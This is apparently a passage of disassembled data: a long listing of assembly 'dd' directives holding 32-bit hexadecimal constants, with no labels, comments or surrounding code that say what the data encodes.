		dd 12C855Eh, 398DB68h, 0F95B5A5h, 3489DCECh, 0D92980CBh
		dd 0DE7343A6h, 525001A5h, 9A517D66h, 0ED804047h, 0DD00DC48h
		dd 57C26265h, 0F12B76h,	0E5081946h, 90ABF1Fh, 4B3911F4h
		dd 3852E5Dh, 5B970200h,	0CAD576h, 0C00A9992h, 380856A0h
		dd 78D7B430h, 0CD9C3Ch,	741798D9h, 0D630196Ah, 0BE7AAF00h
		dd 2F85E12h, 11C1605Ch,	4B25152Bh, 1B4CDC00h, 0BF8876CDh
		dd 0F559000Ch, 58B8EC9Eh, 0B072C70Ah, 89061274h, 0DE740498h
		dd 27A70D58h, 0F086059Ch, 0B370AC73h, 619E9503h, 8815EE3Fh
		dd 0C1A4ABE9h, 9F32DB10h, 0CBE14070h, 401AB107h, 23884258h
		dd 80289758h, 95F9AD8h,	0D2A0A101h, 69706000h, 7A6036E4h
		dd 29D8E611h, 575D00B1h, 0C3EBAACBh, 0CA002FD3h, 68DA26B3h
		dd 3319B65Ch, 42D0C2DDh, 0BB672DF8h, 0F3DB1E00h, 7EA633Ah
		dd 5B9403DCh, 50E6F905h, 0C470DAE0h, 0F74C6903h, 0E859B664h
		dd 0FAA26Dh, 781D473h, 3E63EFDFh, 6FFD6E09h, 9EBC0022h
		dd 0BF1A35h, 856D4081h,	418CFE83h, 807F583Ch, 1F05BBB3h
		dd 3E1755DAh, 3580728Fh, 0C984BC12h, 0F20032F6h, 0DFAA3D65h
		dd 0A68EB1h, 9B06C34h, 0A1D10BC6h, 970F73E4h, 0A0429F48h
		dd 0BB190AFAh, 0A48D0023h, 1A26E109h, 527584F4h, 0CF0F3C12h
		dd 4C113440h, 12839E0h,	4A431656h, 6072041Fh, 8B3D2EDEh
		dd 6700F652h, 0F099AFB4h, 8D9EDEh, 0B28FD301h, 0A5D679B7h
		dd 0B4044990h, 0A0D73D92h, 0D870B490h, 27A60110h, 783B9304h
		dd 47042431h, 5D0F1AFAh, 0EE0B13D9h, 9FE000B8h,	13D7F610h
		dd 9BEC44h, 353022DBh, 481F602Ah, 0BF454B15h, 0A801B5E4h
		dd 69EBEAF8h, 5F30D20h,	425F4A52h, 0D65B80E6h, 0AB6E7713h
		dd 807DCF28h, 0E59BF7D9h, 36AF4C05h, 0B2B40078h, 79E053E6h
		dd 66136D6Bh, 0AEDB15h,	1033858Eh, 0FA00E6D5h, 910FD0D7h
		dd 1DBAC4Ch, 2E54C93Ch,	0D08D72F8h, 9E0112AEh, 0BF240ECFh
		dd 0FDC0DB42h, 11B84C63h, 0A7DF3503h, 1000629Dh, 0FB33E8B4h
		dd 6927B6h, 89CF9B0Ch, 5EB558C5h, 6F19E300h, 7D7C495Bh
		dd 0F8F07B53h, 0C44D502Eh, 0B8CE00BBh, 911E0AA2h, 0D600522Bh
		dd 39D2F07Ch, 1460DBh, 5867B937h, 8F4EAEBDh, 614CF300h
		dd 0D65A5C64h, 0E36A0010h, 98C0520Fh, 31EEFBC2h, 8F100863h
		dd 389F902Bh, 7B801EF5h, 3E6944DEh, 79AD8012h, 910071CFh
		dd 0D8D6FC30h, 7B04E1h,	6B503362h, 66434A42h, 57005275h
		dd 874D1932h, 0A5A929h,	0BAFB128Eh, 4E70845h, 4840AC3Dh
		dd 72761E0Ch, 69EC9AC1h, 9FDC7487h, 12C100ADh, 75B27C43h
		dd 0B700DB0Ah, 5D363F9Bh, 0C0171F30h, 59C05640h, 0C80ED8E5h
		dd 8FC21348h, 5A6160F5h, 6896F0Dh, 6D857755h, 20013079h
		dd 84C1F3C5h, 0E230F850h, 275404AFh, 0C02EFFB1h, 2F0A4BE9h
		dd 13BB7300h, 9A2D897Fh, 0F367070Dh, 0F1E00431h, 47712566h
		dd 9B2B3B8h, 4B3846D0h,	0C1374E0Bh, 12C3803Ah, 0DBFBEh
		dd 0F934A221h, 64C7068Dh, 0FCEAF100h, 0D1DDC6D0h, 55320743h
		dd 209B2804h, 5124F46Eh, 94E6D60Ch, 95260CBh, 0D563DE4Bh
		dd 0C3D88104h, 279B44FBh, 7E78807Dh, 0B4098674h, 2063B656h
		dd 0CBCCE004h, 74B300F3h, 7753E983h, 110044F9h,	8A29964Fh
		dd 0BADF30h, 28A21D8Ch,	0DB4956B8h, 9C35E200h, 47ADE6D1h
		dd 2CEF3E60h, 403EA301h, 0C4B6AB44h, 100CE984h,	58E7FA18h
		dd 63C00648h, 0B0642123h, 1681D601h, 5BE7CE0Bh,	3B091040h
		dd 5970AA0h, 0A548007h,	81A45662h, 8BA0CBD5h, 88E880DDh
		dd 7E800BF1h, 0D9FD003Ch, 681DF264h, 0E000D8CBh, 60AB4825h
		dd 0DA316Dh, 98BFF41Fh,	0DD227FCCh, 15CA071Eh, 14058641h
		dd 0F2E859E6h, 0DC6100FFh, 0CB8C7367h, 0C500151Dh, 9255A026h
		dd 180F56AAh, 9962C4F7h, 16B84E04h, 1F6E5C00h, 533489AFh
		dd 0B0E600B6h, 526037BCh, 232E14ECh, 4D1F708Ch,	0B1ABD6C1h
		dd 0DC50C6E8h, 8D4132h,	0C16046C8h, 281E2B6Bh, 277F7B03h
		dd 0B2C71757h, 2444E3h,	88C614D2h, 45EEEC1Bh, 0C9494216h
		dd 2732C201h, 29876278h, 804AB163h, 0DB388DD5h,	0D133BE0Fh
		dd 0A71F20C3h, 0C34B6DCBh, 0E68ED681h, 6CDBD5E8h, 0A2F2E0B5h
		dd 0C5501EB2h, 29CDDB54h, 7633BFE0h, 96A0C60Fh,	0FD82C3B5h
		dd 0E0B1C81Ch, 2AC800E8h, 0C3DDD3FEh, 0D7182D28h, 7CF04EF5h
		dd 8088787Eh, 300BA86h,	0F60F5BDBh, 30E09BA8h, 8F2944C9h
		dd 52140556h, 383CEB36h, 0D9B005E2h, 0F4001204h, 8564ABE7h
		dd 0A6B10011h, 0C484D38Eh
		dd 2E1FA47Dh, 50052FEh,	4A4B3F7Bh, 98BA00B3h, 0B791F98Ch
		dd 0F40043CCh, 9AC1DD4Ch, 53C806h, 978FB21Ch, 7499EC32h
		dd 89951E0Eh, 21B39C76h, 0C210FF54h, 72C5F62Ah,	0CA8001F1h
		dd 0FEC81534h, 8095D5E1h, 45653A58h, 71C009E6h,	1A2106D5h
		dd 48120274h, 52F1D300h, 0C76ABD1Bh, 251330A5h,	0C8B8DF20h
		dd 0E00D853Bh, 99152410h, 39F86058h, 29045DFCh,	69BE8517h
		dd 86619BCh, 430021F6h,	293A0444h, 3A3FD832h, 8A000D90h
		dd 52DD4FC0h, 40E85BAAh, 1DEFF400h, 641CAF58h, 4F0B4C5Dh
		dd 0C7DE0A00h, 0DB83F0DFh, 0FE8B8A0Fh, 506720ABh, 0E8FBB3h
		dd 881C352Fh, 0AC8A7BB1h, 55019B0Ch, 0A5ED11ECh, 18FA6104h
		dd 0C210800Eh, 0CAF1EE4Ah, 0FD881C4Ch, 0CCCB87B0h, 0D5D0E0E3h
		dd 0C4008908h, 979C0EC6h, 757701h, 3090091Eh, 3C6F341Ch
		dd 0E9C0431Dh, 918D82BAh, 61F3FD79h, 32202E0Bh,	6D400B6h
		dd 96B872E2h, 6A051C58h, 0FF8F5176h, 5F2341C7h,	5BC7A0A2h
		dd 10C06063h, 0A59A70AFh, 28ECDC26h, 4F92D203h,	514E906Ch
		dd 268D0090h, 7AA5E666h, 8E0042CAh, 44A480ABh, 0D38414h
		dd 0EE1EE8D7h, 0FC5BC98Ch, 0A23B4100h, 9FC0D92Bh, 1DF6A6h
		dd 0D5C5AAE8h, 100C1704h, 4B97A400h, 554E5ED0h,	6BBF0003h
		dd 31D2F18Fh, 8D00BB1Dh, 0DD1B327Ch, 1C94A4C8h,	406CB47Ah
		dd 330FF9BEh, 0C009058h, 18B36255h, 39A2FBh, 42B6EC82h
		dd 2E63CD46h, 3DAE0300h, 2A0D933h, 0ACF893h, 0CE5E95A2h
		dd 0C7F35994h, 0DE6EB600h, 0B7658FC1h, 6AB9002Bh, 57E34452h
		dd 0D760F9E6h, 0C0858E19h, 0DA6B001Bh, 1EE70DBh, 4438E87Dh
		dd 4E2BBFB8h, 8D46E3C0h, 4FDB0097h, 82C97988h, 5300A5C5h
		dd 3CAEB87Dh, 3EE10C50h, 9D00A0BFh, 0DA145A9Eh,	0CC035427h
		dd 322505AEh, 6770C70Ah, 2E488592h, 75F3A9h, 7FEAE0BBh
		dd 5F0EDC04h, 0A6D1A1A3h, 51F1E2h, 0D7929C67h, 68438BD3h
		dd 0C2D1DA00h, 0D6CFEE8Eh, 0C8F89DCAh, 84B91506h, 3A7045D4h
		dd 768FED8Ch, 0E580ADB6h, 0EC104130h, 514CD600h, 558374Dh
		dd 0F3B83E12h, 8C95A80h, 0FA816F9Fh, 1C1DD9E6h,	0DC1EEB58h
		dd 345D91C0h, 8E4E5Fh, 0F97D6C14h, 0B944D4C4h, 10072314h
		dd 555E0CA4h, 0B4BA12Fh, 0DD13821h, 6E3F0FDFh, 4F6583E9h
		dd 30A100C1h, 95E05F5Eh, 5A00BAEAh, 0F6C68C78h,	0C01D60D0h
		dd 14652450h, 3D26BD9Ch, 0E000CF6Ch, 0BC25B57Dh, 0D8055029h
		dd 0A158014Eh, 0A09DB4FCh, 0BF388152h, 840BDDABh, 0EC53B5ECh
		dd 7E4C0090h, 8D82AF5Ch, 0CF001527h, 0BDA4D8E2h, 8061A935h
		dd 6800E01Fh, 56F87FF7h, 0F6092h, 33AF51B3h, 4FAE1722h
		dd 0C2BC7800h, 1E29B435h, 0D9400037h, 67C51F2Eh, 0B2120E33h
		dd 0C0299ABh, 85F47084h, 0A0405DE0h, 2DEF1D46h,	9EC500F9h
		dd 553EFF0Eh, 0CB007068h, 4E956B3Dh, 5FB1D4h, 48849DAEh
		dd 0DBE5C82Ah, 51DA601h, 0C5A471DAh, 7B3C99D8h,	0E1F7007Bh
		dd 4ED1C015h, 21002AD0h, 422B3E85h, 1F68B0F2h, 0C0A0FE81h
		dd 0DF43BBE0h, 0AE0071C9h, 66270D7Dh, 0A526EAh,	22AAE36Eh
		dd 0BB5FE216h, 42F80F0Fh, 34C40020h, 0A0F1127Dh, 0CD747D8h
		dd 761B3A60h, 0CE20F2E0h, 0F8D506F7h, 280B1543h, 84DC4C07h
		dd 2231C4CFh, 0A8C87718h, 606304A7h, 831FD07Ah,	6E905FC1h
		dd 0F1000388h, 0C95DBC9Ah, 3C6FD94h, 0A8646A7Fh, 72EE4365h
		dd 0A8D0B5h, 340C7478h,	8452D6BEh, 0FCF4E400h, 0F93EB068h
		dd 6017000Eh, 0F71470E8h, 913F4436h, 49007669h,	64D1038Ch
		dd 28906Ah, 0BB2AF2FBh,	6C9908E8h, 18BE8724h, 0D185C641h
		dd 508C61B0h, 8F00E8A0h, 0AD70CF1Bh, 0A051A212h, 6D4AE0h
		dd 0BDD2687Ch, 0BCE55B83h, 0A66EB50Eh, 3A0097EBh, 61389B13h
		dd 21E960FEh, 8C8B76DEh, 69761F70h, 0B6195667h,	200AF5D0h
		dd 260800D7h, 392E2BE2h, 127CCCD8h, 4769100h, 7CFC3C36h
		dd 90BE00F1h, 4960A8ADh, 0A000A54Bh, 52C1D4F7h,	33B0942h
		dd 0D8FD432Dh, 0B7D9BBh, 21CD54BDh, 0FA7A0F1Dh,	0C719923Fh
		dd 802A4409h, 9A6F4944h, 1CA4A0CEh, 0A5B200A9h,	5DCF3709h
		dd 0D413FB84h, 9B003C16h, 0F24D339Ch, 0CED50E98h, 0AAED162h
		dd 0CC97F60h, 855ED40Eh, 0DA2985ACh, 0FCC400B8h, 0C3A5F824h
		dd 227CD100h, 8D2716D7h, 0C013F0AAh, 1ECB5FE0h,	0B730312Dh
		dd 66E1D0C7h, 479D01C4h, 926C543Dh, 0D01C359Bh,	1900901Ch
		dd 42D2CA2h, 0B1E050h, 14D5F76Ah, 3574A0CEh, 5464C700h
		dd 6B08475Dh, 3F73075Ah, 0D0F642E7h, 1B7AF236h,	0D06A300h
		dd 53AC028Bh, 0CFA801DAh, 3318742Eh, 0B14020A0h, 188CFC30h
		dd 0F835B4AEh, 0A1B630C0h, 23D50EA0h, 60D92CA1h, 7A00FD38h
		dd 0AD77A503h, 31A618h,	0F938134Ah, 0CFB71C2Fh,	37D1A407h
		dd 0D882DAB2h, 0EAFB408Dh, 0BCE40056h, 9361F43Dh, 6D3B8C92h
		dd 0A41380E1h, 9BB1535Dh, 832118A7h, 129838F7h,	8CEBAA00h
		dd 16248894h, 6EBA01DCh, 0D585FC87h, 0A4B8605Ah, 28752300h
		dd 5D743302h, 0EDDA0022h, 252BCAC4h, 0A101E2F0h, 0A9385F54h
		dd 50C0A40Dh, 92D42E97h, 85B300EFh, 0EEC07B1Ch,	6AA0C900h
		dd 116099DCh, 0BBF70013h, 87F4F21Fh, 0EF00CAFDh, 68E1CB43h
		dd 0F15FB8h, 55B61C80h,	0D69CB4B7h, 8F8AE73Bh, 8098781Dh
		dd 9B44E3F3h, 0F01F5E51h, 0E3AA8A1h, 438D8E28h,	0B81700E6h
		dd 77D7481h, 0CFE6A24h,	196522h, 0B7E177FBh, 14986199h
		dd 0D5C93001h, 50CA6B45h, 0EFDF3CF1h, 0F45D48B0h, 7B360083h
		dd 0E2B0BF29h, 0E1E25343h, 0D696B500h, 0CCA470C0h, 646A4DFAh
		dd 3FD8A007h, 7CF5D013h, 0C70750ADh, 3667B1A9h,	27E5FE10h
		dd 0BC9900A0h, 121BECFBh, 25015877h, 14895037h,	47E8D7C4h
		dd 0D8B9507Fh, 171A0393h, 0FCCA2001h, 7CF7600Fh, 0AB22A009h
		dd 0FC04FD5h, 5749EC9Ch, 8998FE8Fh, 0FC018F27h,	44C3DC32h
		dd 6DD0B44Dh, 7101094Ch, 9020B33Ch, 17A3A93Eh, 0E8C4BB0Ch
		dd 470816h, 0C16DC825h,	0D3F173A4h, 0D1F49600h,	0C42B13B2h
		dd 0B33B0677h, 90610528h, 0D53A9BEAh, 0B59C9821h, 182E7C59h
		dd 20A1B76Ch, 4900D5A3h, 0C99C15B3h, 0AC3E0EAh,	0F37E39C4h
		dd 93A30F58h, 605480FCh, 0E9A42CFBh, 260AE600h,	0C20D2891h
		dd 9772BCh, 58C08B15h, 81AA2067h, 875F793Fh, 9A6D7C13h
		dd 467BD8E0h, 55F44Ah, 0C1483275h, 0AEB07040h, 0A4ADB800h
		dd 0B75646A6h, 5ABC3D8Ah, 2000C5BFh, 0D4B5CF77h, 8203F755h
		dd 8898348Ch, 47BAE0D2h, 0A6FF0084h, 74C7DFAFh,	64007AACh
		dd 0AEBBCD8h, 3C3A5062h, 930966BDh, 9580A6FAh, 1B4989A2h
		dd 0F9189E07h, 410133ECh, 8570CF2Bh, 0A90207FAh, 31B3C4B5h
		dd 50B007E0h, 0FF834484h, 0CC3D0390h, 71FC1F94h, 0C24B9340h
		dd 17C60676h, 0FC2C61D4h, 738001AEh, 0B75D44D1h, 7565BA60h
		dd 99E02627h, 14F90A30h, 2F598FC8h, 0C738C1DEh,	0D47DFFD0h
		dd 0A30413C3h, 0EDF15CECh, 96433080h, 8BFE00E0h, 0E671D2B2h
		dd 0A3000472h, 0C6E3B8A2h, 21CEFFh, 0CC27496Eh,	539E48A9h
		dd 22A57103h, 0E005EC10h, 1F7C58A7h, 0C0842007h, 0E971BAC8h
		dd 7000A9CEh, 0CF818B3Fh, 1C092475h, 0C035B0CBh, 1626FA29h
		dd 0A473F277h, 0E914D400h, 965E3F71h, 54EF019Ch, 0E14AB080h
		dd 0FDBBD884h, 205BA4Ch, 46120AFEh, 0A6644058h,	1F990018h
		dd 342E9891h, 4A00F44Fh, 770A23B0h, 131E789Dh, 1F320A3h
		dd 8F4C8150h, 0B008BEBEh
		dd 0BBCD204Ah, 7B7420h,	46411A11h, 0E84F2D16h, 0E12C9C00h
		dd 0B2B06399h, 0EFAECA0h, 60523878h, 0BD777E80h, 1AE64DDAh
		dd 0FE2B9C06h, 60088C1Dh, 0FDA72165h, 6E26EE4Dh, 28013339h
		dd 8CF09417h, 0C33820B7h, 7000040Dh, 0F9E63FC5h, 0F4643D33h
		dd 0F8A0C0EDh, 0D71CAB0Eh, 5D20C262h, 9D610C03h, 0F9FCC300h
		dd 4366159Bh, 0CDD22C8Ch, 46842288h, 20BC02B7h,	31CC97DAh
		dd 14C8107Ah, 46401820h, 0B29AA1FEh, 2D2FF100h,	38F281ADh
		dd 0C726031Bh, 1625F677h, 600C8875h, 917B7514h,	8BC20398h
		dd 1EE3CDFDh, 8CCBA5F1h, 207FC408h, 8B3A008Fh, 62348D9h
		dd 0E01362Ch, 9B256203h, 0C882BDF3h, 78111472h,	315C3087h
		dd 0E03A7EF9h, 5500BFC3h, 0B7A83851h, 2C9C2D97h, 3C6FA429h
		dd 2540EA8Bh, 38552980h, 94016C05h, 0D05F3B02h,	0DBCCBCF6h
		dd 91C6003Ch, 711C0DB1h, 7071144h, 0C7EA69AEh, 0B0C397D7h
		dd 29D6E808h, 44E60E10h, 93802AADh, 0D3B94A22h,	0BD036D79h
		dd 25A526B6h, 23A3B2h, 0D211EB21h, 9E41AC55h, 0C9B3C200h
		dd 86A14854h, 0EF71F9h,	85F80A68h, 0E329C170h, 540DBB00h
		dd 1AE7C323h, 0E9681825h, 0E4427135h, 0A90EA698h, 0C7925A3Eh
		dd 56C685AEh, 0F41FFE21h, 0AAAB1BB6h, 0BBE0803Bh, 4560F305h
		dd 176F6950h, 0EFD100ACh, 2A2466C6h, 5218916Ch,	8631E192h
		dd 0E07E0057h, 0EE4956BBh, 8C65553h, 20AE15h, 387E5E26h
		dd 0AD4CFB9Eh, 5A44FE00h, 0B3C8E595h, 0C87F687Dh, 534C4190h
		dd 0DDCADCD1h, 25E72614h, 114236Ch, 0A9BCA1E0h,	8853181Eh
		dd 14C71BF0h, 0FFE12876h, 61B1ECB3h, 142AC80h, 0DDE8BD79h
		dd 0C03F7D06h, 0E42BA468h, 870C246Dh, 28254457h, 2161000Ch
		dd 850A394Ah, 5B001EC6h, 0C813AFFDh, 716AACBh, 0B0BD35F1h
		dd 1C7020DDh, 97030673h, 0D23ABED9h, 0E1A0AF7Bh, 9E27CDh
		dd 3FFCDFE9h, 6A58FB06h, 0B48E4300h, 76D1E6F0h,	40C60078h
		dd 261C873Dh, 0B1F4A0CCh, 0C49E2903h, 3073D158h, 0D248C518h
		dd 3D009B27h, 0A00DA4E4h, 717CCDh, 0DFCC1AF6h, 0E55AB810h
		dd 8A3150C4h, 82A72F40h, 1A7C2491h, 0F1493C60h,	80D6DAh
		dd 219C7CCh, 0A11A595Bh, 8F214A60h, 3E5E7D9Ch, 550C903Ch
		dd 0CC1899AAh, 3184295Ch, 9F09B931h, 0AEC3C410h, 0E4798A0Ch
		dd 0C093F9C8h, 0BD51612h, 0E7005B18h, 4FF6D812h, 3EE0EDB1h
		dd 300AE05h, 0EA8BD67Eh, 0A74B0C3h, 0C7B6D30Ch,	0F9EF00Bh
		dd 19586DA2h, 4CC67F80h, 0A7FC8EBAh, 0C234D800h, 2662ACD2h
		dd 31EF61E1h, 81F2A0A4h, 15F86F99h, 7AC8B921h, 0C0D900B3h
		dd 0C61FA28Ch, 0ED00EFC8h, 0A9F68659h, 3140BCBh, 64AFB08Fh
		dd 9CF3204Dh, 13CED3E0h, 0EE16F2F8h, 3F00D6A4h,	0CADA841Fh
		dd 38DC0FA2h, 5B60BACBh, 61658E6Ah, 0C4A5D600h,	8AF6DE80h
		dd 18E40741h, 30288210h, 636C508Fh, 0DD00B1ECh,	419DD7B9h
		dd 60555F53h, 697C5856h, 0B000B830h, 60073E3Dh,	29AF1Ch
		dd 0B9205D14h, 27646A36h, 9BED8103h, 0F58BBBh, 83AD86B8h
		dd 6520DAEFh, 469DD500h, 0B8B22645h, 0AE0A009Bh, 0E40383Eh
		dd 883A3C27h, 57607E09h, 0AF4A6020h, 0FBC01AEh,	0CC95C5F5h
		dd 0F12BE554h, 50613077h, 0D5DE900h, 0C7E1DBB1h, 35A13E4Fh
		dd 0BE60AB07h, 465CA0BBh, 1B03A99Fh, 1D3D6793h,	8561E621h
		dd 3DFFC248h, 2EA5901Bh, 0EC2F01D0h, 703C3D5h, 5058B233h
		dd 0AF40309Fh, 0F0383C08h, 81B46609h, 0F7200260h, 0B3AE3Bh
		dd 86FF80C1h, 0DCF1BB29h, 64607060h, 307D50BEh,	0D2B8B9FDh
		dd 43008152h, 0B19E6225h, 0E89FBA2Dh, 6B7595h, 82CA6D57h
		dd 37F62C1Fh, 0C48C0700h, 755EB4BBh, 0DBB200BAh, 3C69FECDh
		dd 0A001F50Dh, 3651827Bh, 0D8EC938Fh, 0AE8000F1h, 73750643h
		dd 0C117EEFFh, 0C000B8EFh, 3C9304EAh, 1BB90ED0h, 812F4DF4h
		dd 70C68AC0h, 0F7006C3Eh, 4B43DF16h, 735B17h, 0F5727FC0h
		dd 2C7DB706h, 0FF44F100h, 0A8622946h, 55150E2Ah, 0AF4C9710h
		dd 77715321h, 0A47ED500h, 9C4D208Fh, 9E470096h,	13F47F2Fh
		dd 741C2A58h, 0F100DEC3h, 53F7DDA4h, 81670332h,	895CB772h
		dd 21F40830h, 753DA1Ch,	2DAE1457h, 69BE51AAh, 0D73BE801h
		dd 1E603673h, 0EDBC658h, 0C6407A4h, 9CAD3D7Bh, 31401720h
		dd 0A4A0C072h, 0FD3B2A5Bh, 53F240A8h, 99672B08h, 400B6470h
		dd 0E653F8BFh, 376B0186h, 1C09BCC9h, 70518019h,	8BFF663Bh
		dd 916500ACh, 6D313B5h,	0C860079Eh, 9AD57D90h, 4E6603B7h
		dd 58D15BEDh, 0A03A46EBh, 0CEA781CFh, 5C35DA79h, 8B89DCEh
		dd 0C16E721Ch, 9D0305C9h, 4DABC4h, 0E27FAAC8h, 0F44C0B0Eh
		dd 41F0A5E8h, 76FC4025h, 0CA540138h, 0FCBA4345h, 0AF006295h
		dd 0D3D12DEAh, 0B7FB6Fh, 0C7A05A9Ah, 762A4E6Ch,	1F08F239h
		dd 0F4DCB87Bh, 0E650FDC3h, 8B781C52h, 4FFA00F0h, 5312E8B2h
		dd 861D4CB8h, 0D10C6CE4h, 98208Ah, 7490B255h, 2938A67Ah
		dd 3593210Ch, 0F60440D8h, 19DF00B4h, 543E33Eh, 315CC41Bh
		dd 2C6D00F7h, 0D2015B1h, 5385012Fh, 13F3D65Ch, 41DAC01Ah
		dd 0DD3F7206h, 10FB2Ah,	0A960A6EBh, 4CDCFA1h, 8BA0A33h
		dd 0DA88008Fh, 45604EE5h, 98E465ABh, 0F963440Eh, 0BD718037h
		dd 33F4292h, 57EDA432h,	0E164DA6Ch, 0AB604EF0h,	12101480h
		dd 83C43FB3h, 51C4008Ch, 0C65BB2h, 0AFC72DBBh, 0DC638D27h
		dd 2858A1FFh, 868AD770h, 9DFE6900h, 88169C56h, 0A2010013h
		dd 50B453Bh, 0A34486A6h, 674C00A0h, 83ABE9F4h, 0B365810Ch
		dd 0B840F908h, 2A7796EDh, 0F78701AEh, 9F608CBBh, 1D48BB32h
		dd 3A003D13h, 0C347E845h, 0B548033Ch, 74D9E5F0h, 6D80AA88h
		dd 0DAD08500h, 0DE01C96Fh, 5BB800D5h, 0CFF7F1DDh, 913C4188h
		dd 992B80F2h, 8A691838h, 0CE1F01D9h, 0DF2E50DCh, 3E93E84Ah
		dd 3E372130h, 0C85F1Dh,	22AA89F5h, 35F47259h, 3366C100h
		dd 0BBCB823Ch, 0C4430028h, 3D70AEBCh, 100C04Eh,	98D307F8h
		dd 2B981h, 0CF2CD082h, 3F7BE64Dh, 240BAE00h, 47DB6168h
		dd 0FEA200EDh, 5C441FB3h, 0F300D842h, 0EB761216h, 1E475F07h
		dd 406ADB13h, 0F89998D4h, 0C800A47Bh, 0F60C53D3h, 94004A6h
		dd 0DDBC9AA7h, 49E66380h, 0E013E1CAh, 0E3000A67h, 0F7D1700Dh
		dd 0A5D501C7h, 8177371Fh, 0D823FCF1h, 62A0B700h, 3ADEF09h
		dd 75898F2h, 11329AE7h,	9DCE1127h, 0A47086C0h, 78D17Ch
		dd 0FAED458h, 3FFF9CF3h, 0A0B051B0h, 8E59FD00h,	0DA39B27Ah
		dd 0EBE00152h, 0FFE969BBh, 46688182h, 4FABE351h, 1945D0E8h
		dd 18BF5024h, 94FEE819h, 78039C0Ch, 706809h, 28B1CD58h
		dd 6FF0B8D0h, 1F9ED100h, 6A7DB62Dh, 3690C07Bh, 377866C2h
		dd 2BE93E00h, 50080D57h, 0B1646080h, 2F59C9E7h,	0D326670Eh
		dd 0E438E0A2h, 18B478A6h, 28715AD2h, 0ACA8F7A4h, 0DA264076h
		dd 0BB0D3C5Fh, 49F069A9h, 61A1020h, 0E276006Bh,	0BC13D689h
		dd 0FA44F8B1h, 0A22C00E4h, 0C1217D0h, 8B191FBEh, 8210C986h
		dd 6483044Fh, 100E76D5h, 0C0AE728Fh, 0FC41D324h, 5F8B0771h
		dd 9084FB59h, 7925B992h, 9B3A217Fh, 2B0A8003h, 4C3F6649h
		dd 0F2CC0099h, 455BCF13h, 1903D671h, 0C81ABCB3h, 0E0C98035h
		dd 709500B6h, 78F0967Fh, 163D9454h, 0AA0400B0h,	582149BDh
		dd 0E831075Fh, 0F05D5535h, 0B0C54844h, 0F3732E00h, 0E4CA07DFh
		dd 0B27988h, 9923BB50h,	0ADA1585Ch, 7B5B7A00h, 1E0CBDFh
		dd 0F07376h, 31B89223h
		dd 0BDC1A1FDh, 0D93DBC00h, 7088BF6Bh, 1657385h,	5521F6BAh
		dd 0D880B9DDh, 3E247699h, 8100DB62h, 49DA4DDFh,	0D615002Fh
		dd 85CD189Bh, 0F8006F1Ch, 0AFAA72E8h, 1A1033h, 2CBB4CDCh
		dd 2138DEB5h, 980E8900h, 480A4516h, 6DCA00B6h, 88D6AFE1h
		dd 1A00BB1Dh, 0D833BFD4h, 30F58583h, 0C960C561h, 49E0D312h
		dd 0CC06AC7Fh, 39F85B21h, 0AF640051h, 97E34C57h, 0EF26BC47h
		dd 8200A056h, 8443901Ah, 0D0EE0F98h, 21E0177Fh,	6923CFF3h
		dd 609FC3EFh, 7AE5FE85h, 0A52AB707h, 43F05DC9h,	0B60921h
		dd 3F1D2564h, 320B55FBh, 80CCFD00h, 3135BE7Eh, 1FDA12D3h
		dd 7B1C4E81h, 989C860h,	0B328E60Fh, 8601EC0Dh, 6068729Ch
		dd 0C5C8B929h, 8CDA0003h, 119D0CA4h, 0B4608E13h, 0B3A3DB91h
		dd 3D90B0E9h, 0BF809A52h, 6D2F15C4h, 0CF7EA496h, 0A2C3D700h
		dd 170DE3ACh, 3BE093h, 5DD37808h, 60773235h, 9B79F801h
		dd 5E428FAh, 0D7ABE8h, 3C4EF999h, 8A5E8ECDh, 8084523Eh
		dd 4D30D8F1h, 0EED77E3h, 5798CA35h, 3F6E261h, 9614F88Bh
		dd 0F4DAC606h, 0E8F72Dh, 0AD776D7Eh, 71E7BB26h,	0CDCB9900h
		dd 1320B779h, 800C379Eh, 0FB8730E6h, 0A338CAFh,	0A80928EAh
		dd 4B86620h, 0C89FE3A0h, 0EBBC90FAh, 0F600E054h, 0C6AC394Dh
		dd 33BEABh, 0ED8A57A5h,	0C0980F2Dh, 523A121Ch, 879C3143h
		dd 90AC88BCh, 0E19D00D6h, 4FDDA780h, 43BDE54h, 0DCAD8042h
		dd 1A68B4A1h, 0B9B0A092h, 49C20083h, 87383C9Ch,	0E80004B3h
		dd 4788ED21h, 28CCADF8h, 1DE88562h, 0C2532EBCh,	1B46B6E2h
		dd 0FD24F480h, 310F7916h, 41E154F7h, 402FA790h,	5E6000D3h
		dd 3E9FC993h, 0AE003996h, 2063A4CBh, 2C46CCAh, 0DF1B34EFh
		dd 0FC80D366h, 3D931A50h, 8AB17100h, 0D6419774h, 0DF3B3E03h
		dd 0E82E5C80h, 232B60A4h, 3F4A1F00h, 0B369C736h, 0F3B50092h
		dd 880F1E44h, 5400ADDDh, 0FE09985Ah, 70F4B9h, 0F97B7CE8h
		dd 338EE401h, 0AFD89A50h, 796213Eh, 0FC0B0ADBh,	4C35C0B0h
		dd 0D73A01B5h, 0E97DE6EAh, 4100CFCEh, 26E8E88h,	738CAA0h
		dd 0AAAEABDBh, 0C4F4C07Ah, 0E600DD0Ch, 0B4F1E094h, 347EC41h
		dd 25A9270Dh, 78D06FCEh, 77DC280h, 0D752D300h, 3DC849Eh
		dd 7C8B0069h, 0B6968A18h, 0B2004AA1h, 0CD928277h, 92EDDEBCh
		dd 13A20488h, 8007C50Eh, 67D6DCF4h, 0AD22CD01h,	29D3A0Ah
		dd 3865D9DCh, 0A600FE80h, 0A5D14D5Bh, 0C500A868h, 933ACFDAh
		dd 724C9Eh, 469B2288h, 41DCDCAh, 2D480F01h, 0F347F889h
		dd 3F1B6620h, 0CD00C337h, 0B2D39D5Fh, 1E18E0B8h, 8D3E1977h
		dd 0E96E0078h, 26722E8Bh, 8890DCCBh, 1C202A00h,	99454BF5h
		dd 9B02001Eh, 84CD35E0h, 970F699Fh, 8D520E6Fh, 0A2E0D8EEh
		dd 3F2600F1h, 77E5BA65h, 290E949Dh, 0A0109B70h,	8B68E317h
		dd 5CE24920h, 1BEF0077h, 0F895E806h, 670324A2h,	0E7513ABDh
		dd 0A1A0AF63h, 24DBC12Dh, 0A8712Ah, 0CF157F78h,	801CEAA0h
		dd 14C07D0Ch, 62AFEB67h, 0C63A00C5h, 0C2BB01E5h, 20FD2F1Eh
		dd 0B200F409h, 6CB7E58h, 18E5F393h, 3065DC47h, 50012129h
		dd 8BB688Dh, 2E0E1DFh, 0DCF461A8h, 70240714h, 0A53B86CDh
		dd 0E2661F7Dh, 1AD66840h, 40C30Fh, 8554465Ah, 0BFB89318h
